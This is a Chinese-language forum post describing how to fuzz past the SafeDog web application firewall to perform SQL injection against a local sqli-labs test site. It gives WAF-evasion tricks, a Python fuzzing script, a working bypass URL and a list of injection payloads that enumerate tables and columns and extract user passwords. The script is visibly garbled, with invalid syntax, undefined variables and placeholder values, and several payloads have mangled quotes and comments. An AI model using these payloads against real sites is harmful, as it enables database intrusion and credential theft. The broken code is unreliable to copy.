电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2537 人浏览分享

记一次Fuzz绕WAF实现SQL 注入

[复制链接]
2537 0
0×00简介

本文使用自己编写的Python脚本 实现绕过某WAF限制 实现SQL注入。先解释一下Fuzz概念 Fuzz是安全测试的一种
方法面对waf无所适从的时候 可以使用Fuzz模糊测试来绕过waf,甚至你可以发现一些意想不到的payload语句。

0×01SQL注入绕waf常用的方法

使用大小写绕过 例如:
使用注释符/**/ #绕过
使用/!**/绕过
根据数据库特性进行绕过 例如mysql数据,使用/*!5000 union select x,x,x/
更改user-agent
......

0×02 使用/**/结合Fuzz绕过

先组建好sql注入本地测试平台 在服务器中安装某WAF狗。 本文使用的中间件为apache和数
据库是mysql,首先安装配置安全狗,在此之前需要安装好phpstudy。

QQ截图20210607105730.png

访问搭建好的SQL注入平台。

QQ截图20210607105827.png

先进行测试过程为:?id=1’ union select 1,2,3--+ 拦截  。

?id=1’ /*union */select 1,2,3--+ 拦截  。
?id=1' /*union */ 1,2,3--+ 不拦截
?id=1' union 1,2,3--+不拦截
?id=1' select 1,2,3--+不拦截
说明union和select在一起会拦截
使用/*%0a*/union/*%0a*/select/*%0a*/1,2,3--+   拦截   PS:%0a是换行意思

QQ截图20210607105941.png

那么这个时候可以使用python脚本进行fuzz测试了。测试替换脚本为%0a,%23代码如下:
  1. From urllib import requests
  2. import time
  3. url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
  4. union='union'
  5. select='select'
  6. num='1,2,3'
  7. l={'%0a','%23'}
  8. ll={'S'}
  9. lll={'%0a','%23'}
  10. x='/*!'
  11. f='*/'
  12. def bypass():
  13. for xiaofei in a:6t
  14. for xiaofeii in ll:
  15. for xiaofeiii inlll:
  16. for two in range(?,?):   #?自己指定步长
  17. urls=url+xiaofei+xiaofeii+xiaofeiii+ll+str(two)+union+lll+xiaofei+xiaodis+x
  18. iaofeii+select+xiaofei+xiaofeii+xiaofeiii+num
  19. try:
  20. result=requests.get(urls).text
  21. len_r=len(result) #len() 方法返回对象(字符、列表、元组等)长度或项目个数。
  22. if (result.find('safedog') == -1):
  23. #print('bypass url addreess:' + urls + '|' + str(len_r))
  24. print('bypass url addreess:'+urls+'|'+str(len_r))
  25. if len_r==715:
  26. fp = open('url.txt', 'l+')
  27. fp.write(urls + '\n')
  28. fp.close()
  29. except Exception as err:
  30. print('connecting error')
  31. time.sleep(0.1)
  32. if __name__ == '__main__':
  33. print('fuzz strat!')
  34. bypass()
复制代码

0×03 测试结果

测试结果为:http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1/*S%0a*/un
ion/*x%0a*/select/*x%0a*/ 1,2,3没有被拦截。

QQ截图20210607112252.png

0×04 扩展

同样利用其他方法进行爆破 下面是payload。
?id=1’ /!20000order/by 3–+
?id=-1’ union /!00000all select/ 1,2,3–+
?id=-1’ union /!00000all select/ 1,database/**/(),3–+
?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tab
les where table_schema=‘security’ limit 3,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schem
a.columns where table_name=‘users’ limit 2,1 --+
?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.